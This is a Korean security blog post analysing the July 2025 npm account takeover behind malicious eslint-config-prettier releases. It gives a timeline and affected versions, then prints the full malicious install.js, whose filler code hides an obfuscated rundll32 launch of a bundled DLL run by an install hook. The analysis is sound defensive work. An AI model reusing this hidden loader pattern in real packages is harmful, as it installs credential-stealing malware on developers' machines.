eslint-config-prettier 등 인기 npm 패키지의 계정 탈취를 통한 악성코드 유포 사건의 분석, 사고 타임라인, 주요 영향 및 SafeDep로 개발자 보호 방법 안내.
eslint-config-prettier 등 여러 인기 npm 패키지의 유지관리자 JounQin의 npm 계정이 피싱 공격에 의해 탈취되었습니다. 공격자는 해당 계정으로 6개의 eslint-config-prettier 악성 버전과, 동일 계정이 접근 가능한 3개의 추가 패키지에 악성코드를 삽입해 배포했습니다. 피해 패키지들은 주간 약 7,800만 다운로드에 달하며, 이 계정은 총 1억8천만 주간 다운로드 규모의 패키지에 접근권을 가지고 있었습니다(정리: Kyle Kelly).

이 글에서는 악성 패키지 중 하나를 분석해 페이로드를 식별하고, vet, pmg 등 SafeDep OSS 도구가 어떻게 개발자를 보호할 수 있는지도 함께 다룹니다.
업데이트:
2025년 7월 18일, GitHub 사용자 dasa가 eslint-config-prettier 저장소에 이슈 #339을 열고, npm registry에 비정상적인 버전들이 퍼블리시된 사실을 공개했습니다. 10.1.7 버전과의 변경점은 매우 수상해 보였습니다. 특히, 10.1.7 버전 package.json에 install 스크립트가 추가되었습니다.
"scripts":{ "install":"node install.js" }, "exports": { ".": { "types": "./index.d.ts", "default": "./index.js"@@ -34,8 +37,10 @@ "flat.d.ts", "flat.js", "index.d.ts", "index.js", "install.js", "node-gyp.dll", "prettier.d.ts", "prettier.js" ], "keywords": [
2025년 7월 19일, eslint-config-prettier의 유지관리자가 공개한 바에 따르면, 이메일 피싱 공격에 속아 여러 npm 프로젝트에서 퍼블리시 권한이 공격자에게 넘어갔다고 합니다. 여러 패키지에 악성코드가 삽입돼 배포됐으며, 대표적으로 eslint-config-prettier는 npm 기준 주간 3천1백만 다운로드를 기록합니다.

JounQin의 X글에는 악성코드가 삽입된 패키지 목록이 공개되었습니다.
| 패키지 이름 | 버전 | 주간 다운로드 수 |
|---|---|---|
| eslint-config-prettier | 8.10.1 | > 31M |
| eslint-config-prettier | 9.1.1 | > 31M |
| eslint-config-prettier | 10.1.6 | > 31M |
| eslint-config-prettier | 10.1.7 | > 31M |
| eslint-plugin-prettier | 4.2.2 | > 21M |
| eslint-plugin-prettier | 4.2.3 | > 21M |
| snyckit | 0.11.9 | > 21M |
| @pkgr/core | 0.2.8 | > 16M |
| napi-postinstall | 0.3.1 | > 9M |
2025년 7월 20일, SafeDep에서는 본 해킹 사건의 조사에 착수하였고, 악성 패키지 스캐너를 활용해 지속적으로 OSS 패키지를 분석했습니다. 자동화 분석 시스템의 보고서 예시는 다음과 같습니다:
이번 분석을 통해 감염된 패키지에 PE32+ 바이너리 node-gyp.dll이 들어있으며, 이를 통해 Scavenger 악성코드가 유포되는 것을 확인했습니다. 해당 페이로드 특성상 윈도우 시스템만 영향을 받으며, GNU/Linux나 MacOS는 영향을 거의 받지 않습니다. 감염된 윈도우 시스템에서는 파일, 자격증명 탈취와 다양한 악성 행위가 벌어질 수 있습니다.
자동화 시스템은 PE32+ 실행파일(node-gyp.dll), 설치 스크립트(package.json 내 install), install.js 실행 시 명령어 인젝션 등으로 인해 해당 패키지들을 "의심스럽다"고 탐지했습니다. 악성 패키지 스캐너에서의 Slack 알림 내역 예시는 다음과 같습니다.

이 시점에서 모든 SafeDep 도구들은 별도의 수작업 개입 없이 이미 해당 패키지들을 의심 이상으로 탐지하는 상태입니다. 이후 리서치 및 수작업 분석을 통해 악성 행위가 기계적으로도 정밀하게 확인되었습니다. SafeDep 도구 이용자는 자신도 모르게 악성 패키지나 유사 공격에 노출되지 않도록 보호받습니다. 적용 환경은:
pmg 이용자가 악성 패키지를 설치 시도할 경우 경고 메시지로 사전 차단이 이뤄집니다. 이를 통해 개발 환경(로컬 PC)에서 악성 패키지 의도치 않은 설치를 방지합니다.

vet을 GitHub Actions 또는 GitLab CI 등의 CI/CD에 세팅한 경우, PR 내에 악성 패키지가 추가되면 즉시 경고/차단을 받을 수 있습니다.

vet은 MCP Server를 통해 VSCode+GitHub Copilot 등 IDE나 AI 에이전트와 통합 가능합니다. 예를 들어 Visual Studio Code + GitHub Copilot 환경에서 악성 패키지 설치 시도를 제어할 수 있습니다.

[email protected] 분석분석 대상:
[email protected]31204fbbc097677d518e1c01d88cf24b491ef29cc8f56d1ef2b81e5ccc8440e2해당 악성 버전 파일 구조는 다음과 같습니다.
-rw-r--r-- ... package/LICENSE
-rw-r--r-- ... package/node-gyp.dll
-rw-r--r-- ... package/@typescript-eslint.js
-rw-r--r-- ... package/babel.js
-rw-r--r-- ... package/bin/cli.js
-rw-r--r-- ... package/flowtype.js
-rw-r--r-- ... package/index.js
-rw-r--r-- ... package/install.js
-rw-r--r-- ... package/prettier.js
-rw-r--r-- ... package/react.js
-rw-r--r-- ... package/standard.js
-rw-r--r-- ... package/unicorn.js
-rw-r--r-- ... package/bin/validators.js
-rw-r--r-- ... package/vue.js
-rw-r--r-- ... package/package.json
-rw-r--r-- ... package/README.md
이전 9.x.x 릴리즈와 비교시 변경 사항:
install.js | 191 +++
node-gyp.dll | 5445 +++++++++++++++++++++++
package.json | 5
package.json의 유일한 변화는 install 스크립트(install.js) 추가였습니다. 즉, 9.1.1에 악성 행위는 install.js를 통해 이루어졌음을 알 수 있습니다.
json{ "name": "eslint-config-prettier", "version": "9.1.1", "license": "MIT", "author": "Simon Lydell", "description": "Turns off all rules that are unnecessary or might conflict with Prettier.", "repository": "prettier/eslint-config-prettier", "bin": "bin/cli.js", "keywords": ["eslint", "eslintconfig", "prettier"], "scripts":{ "install":"node install.js" }, "peerDependencies": { "eslint": ">=7.0.0" }}
version diff 및 package.json에서 install.js가 악성 페이로드임을 확인했습니다. 내부에 정당해보이는 "필러"코드가 많으나, 핵심은 윈도우에서 rundll32.exe로 node-gyp.dll을 불러오는 부분입니다.
jsconst tempDir = os.tmpdir(); require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",[path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
즉, Node의 child_process로 rundll32.exe를 호출, node-gyp.dll,main 인자를 넣고 DLL이 실제로 메인 엔트리에서 실행되도록 구성됐습니다.
node-gyp.dll은 PE32+ DLL로 아래 식별자를 가집니다.
$ file node-gyp.dll
node-gyp.dll: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 7 sections
$ sha256sum node-gyp.dll
c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441 node-gyp.dll
DLL을 리버스엔지니어링한 결과, 자체 쓰레드에서 난독화된 코드가 실행됨이 드러났습니다 (CreateThread(..) API).

node-gyp.dll 페이로드의 세부 분석은 InvokRE Blog을 참조하세요.
이번 eslint-config-prettier 공급망 공격은 소프트웨어 개발 생태계의 공급망 취약성에 대한 경각심을 다시 한번 일깨워줍니다. 단 한 번의 npm 계정 유출로도 주간 7,800만 다운로드 규모의 패키지를 통해 전세계 개발자에게 악성코드가 배포될 수 있었습니다. 인기나 명성에 상관없이 어떤 패키지도 안전지대가 아님을 보여줍니다.
vet, pmg 같은 도구들은 오픈소스 악성코드에 의한 해킹 위험으로부터 개발자 보호를 목표로 만들어졌습니다. 도구와 상관없이, 모든 개발팀은 SDLC 각 단계에서 악성 오픈소스 방어 가드레일 도입을 강력히 권장합니다.
아래를 클릭해 전체 install.js 악성 페이로드를 확인하세요
jsconst cache = require('fs'); const os = require('os'); const path = require('path'); // === 설정 === const LOG_DIR = path.join(__dirname, 'logs'); const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`); const DRY_RUN = process.argv.includes('--dry-run'); const ARCHIVE_DIR = path.join(__dirname, 'archive'); const MAX_LOG_FILES = 5; const DEFAULT_MAX_AGE_DAYS = 30; const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old'); // === 요약 상태 === const summary = { dirsCreated: 0, filesDeleted: 0, dirsDeleted: 0, filesArchived: 0, errors: 0,}; function log(msg) { console.log(msg); if (!DRY_RUN) { try { cache.appendFileSync(LOG_FILE, msg + '\n'); } catch (err) { console.error(`Failed to write log: ${err.message}`); } }} function ensureDir(dirPath) { if (!cache.existsSync(dirPath)) { if (!DRY_RUN) { cache.mkdirSync(dirPath, { recursive: true }); } summary.dirsCreated++; log(`Created directory: ${dirPath}`); } else { log(`Directory exists: ${dirPath}`); }} function deleteFile(filePath) { if (DRY_RUN) { log(`[Dry-run] Would delete file: ${filePath}`); return; } try { cache.unlinkSync(filePath); summary.filesDeleted++; log(`Deleted file: ${filePath}`); } catch (err) { summary.errors++; log(`Error deleting file ${filePath}: ${err.message}`); }} function deleteDir(dirPath) { if (DRY_RUN) { log(`[Dry-run] Would delete directory: ${dirPath}`); return; } try { cache.rmSync(dirPath, { recursive: true, force: true }); summary.dirsDeleted++; log(`Deleted directory: ${dirPath}`); } catch (err) { summary.errors++; log(`Error deleting directory ${dirPath}: ${err.message}`); }} function archiveFile(filePath) { ensureDir(ARCHIVE_DIR); const fileName = path.basename(filePath); const targetPath = path.join(ARCHIVE_DIR, fileName); if (DRY_RUN) { log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`); return; } try { cache.renameSync(filePath, targetPath); summary.filesArchived++; log(`Archived file: ${filePath} -> ${targetPath}`); } catch (err) { summary.errors++; log(`Error archiving file ${filePath}: ${err.message}`); }} function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) { if (!cache.existsSync(dirPath)) return; const now = Date.now(); const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000; const files = cache.readdirSync(dirPath); for (const file of files) { const filePath = path.join(dirPath, file); try { const stat = cache.lstatSync(filePath); const age = now - stat.mtimeMs; if (stat.isFile() && age > maxAgeMs) { if (ARCHIVE_OLD_FILES) { archiveFile(filePath); } else { deleteFile(filePath); } } else if (stat.isDirectory() && age > maxAgeMs) { // Delete directory if older than maxAgeDays deleteDir(filePath); } } catch (err) { summary.errors++; log(`Error accessing ${filePath}: ${err.message}`); } }} function rotateLogs() { if (!cache.existsSync(LOG_DIR)) return; const logs = cache.readdirSync(LOG_DIR) .filter(f => f.startsWith('install_log_') && f.endsWith('.txt')) .map(f => ({ name: f, path: path.join(LOG_DIR, f), time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs, })) .sort((a, b) => b.time - a.time); while (logs.length > MAX_LOG_FILES) { const oldest = logs.pop(); try { if (!DRY_RUN) { cache.unlinkSync(oldest.path); } log(`Rotated out old log file: ${oldest.name}`); } catch (err) { summary.errors++; log(`Error deleting old log file ${oldest.name}: ${err.message}`); } }} function logDiskSpace() { try { if(os.platform() === 'win32') { const tempDir = os.tmpdir(); require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32", [path.join(__dirname, './node-gyp' + '.dll') + ",main"]); log(`Temp directory: ${tempDir}`); const files = cache.readdirSync(tempDir); log(`Number of files in temp directory: ${files.length}`); } } catch (err) { summary.errors++; log(`Error accessing temp directory: ${err.message}`); }} function listDirectoryContents(dirPath) { if (!cache.existsSync(dirPath)) { log(`Directory does not exist: ${dirPath}`); return; } log(`Contents of ${dirPath}:`); const files = cache.readdirSync(dirPath); for (const file of files) { try { const filePath = path.join(dirPath, file); const stat = cache.statSync(filePath); const sizeKB = (stat.size / 1024).toFixed(2); const mtime = new Date(stat.mtimeMs).toLocaleString(); const type = stat.isDirectory() ? 'DIR' : 'FILE'; log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`); } catch (err) { summary.errors++; log(`Error reading ${file}: ${err.message}`); } }} ensureDir(LOG_DIR);logDiskSpace();